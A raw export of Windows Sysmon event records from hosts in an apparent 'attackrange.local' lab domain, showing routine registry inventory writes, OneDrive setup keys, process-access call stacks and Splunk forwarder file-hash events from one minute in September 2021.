14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b4fb926f9d8f82ed\LinkDate07/30/2021 00:22:10 13241300x800000000000000043516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b4fb926f9d8f82ed\Publishermicrosoft corporation 13241300x800000000000000043515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b4fb926f9d8f82ed\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\accicons.exe 13241300x800000000000000043514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b0fb91e640fd7b1d\BinProductVersion16.0.13231.20098 13241300x800000000000000043513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b0fb91e640fd7b1d\LinkDate09/08/2020 05:38:13 13241300x800000000000000043512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b0fb91e640fd7b1d\Publishermicrosoft corporation 13241300x800000000000000043511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\accicons.exe|b0fb91e640fd7b1d\LowerCaseLongPathc:\program files\microsoft office\root\office16\accicons.exe 13241300x800000000000000043510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.143{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplication\000050d35a67313fd496c7f16f9fbb3bcb2f0000ffff\PublisherMicrosoft Corporation 10341000x800000000000000043509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.143{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.143{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.112{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000043506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.096{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exeC:\Windows\Temp\4D7F90B8-F05F-436A-98BD-2DA9BC03BE8A.txt2021-09-10 14:44:43.096 10341000x800000000000000043505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.080{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5B-613B-2409-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.080{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=816958CDE47B78F90C9FB3FCF9F06B2A,SHA256=DDA4BBA6C1CD5AA25F24D263D34D043BA512D005844C3975244CBC34DDB6F41C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.080{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5A0633754B0FBCD11680B6E415A01082,SHA256=7C3472B88282045C5209639D1D8BECCF631DB3C9E4B2EB09AA8037CF1968AB14,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.049{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5B-613B-2409-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.049{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5B-613B-2409-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.002{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2309-00000000F001}2632C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013952Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:44.083{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=009B27B56B64FB402E3E722D6FBD963F,SHA256=495D439FB8C88C409FBD53C553675E6C2CB4EE82C50DC5F45024FA1A76D9B0F9,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000044164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.862{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ OneDrive7\(Default){C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} 13241300x800000000000000044163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.862{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ OneDrive6\(Default){9AA2F32D-362A-42D9-9328-24A483E2CCC3} 13241300x800000000000000044162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.862{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ OneDrive5\(Default){A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} 13241300x800000000000000044161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.862{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ OneDrive4\(Default){F241C880-6982-4CE5-8CF7-7085BA96DA5A} 13241300x800000000000000044160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.862{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ OneDrive3\(Default){A78ED123-AB77-406B-9962-2A5D9D2F7F30} 13241300x800000000000000044159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.862{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ OneDrive2\(Default){5AB7172C-9C11-405C-8DD5-AF20F3606282} 13241300x800000000000000044158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.862{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\ OneDrive1\(Default){BBACC218-34EA-4666-9D7A-C78F2274A524} 10341000x800000000000000044157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b709(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\SHELL32.dll+2406a7(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10139|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+ff75|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1199d|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64) 10341000x800000000000000044156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b68a(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\SHELL32.dll+2406a7(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10139|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+ff75|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1199d|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1b2e|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+227d9|C:\Windows\System32\KERNEL32.DLL+162c4(wow64) 10341000x800000000000000044155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\SHELL32.dll+2406a7(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10139|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+ff75|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1199d 10341000x800000000000000044154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\SHELL32.dll+15b675(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\SHELL32.dll+2406a7(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10139|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+ff75|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1199d|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+11f2e 10341000x800000000000000044153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b709(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\windows.storage.dll+2ac007(wow64)|C:\Windows\System32\windows.storage.dll+fd95f(wow64)|C:\Windows\System32\SHELL32.dll+24076c(wow64)|C:\Windows\System32\SHELL32.dll+2409d9(wow64)|C:\Windows\System32\SHELL32.dll+24066d(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10139|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+ff75|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1199d 10341000x800000000000000044152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\SHELL32.dll+15b68a(wow64)|C:\Windows\System32\SHELL32.dll+15b21c(wow64)|C:\Windows\System32\shlwapi.dll+29a9e(wow64)|C:\Windows\System32\windows.storage.dll+2ac007(wow64)|C:\Windows\System32\windows.storage.dll+fd95f(wow64)|C:\Windows\System32\SHELL32.dll+24076c(wow64)|C:\Windows\System32\SHELL32.dll+2409d9(wow64)|C:\Windows\System32\SHELL32.dll+24066d(wow64)|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+10139|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+ff75|C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe+1199d 10341000x800000000000000044151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}49645820C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+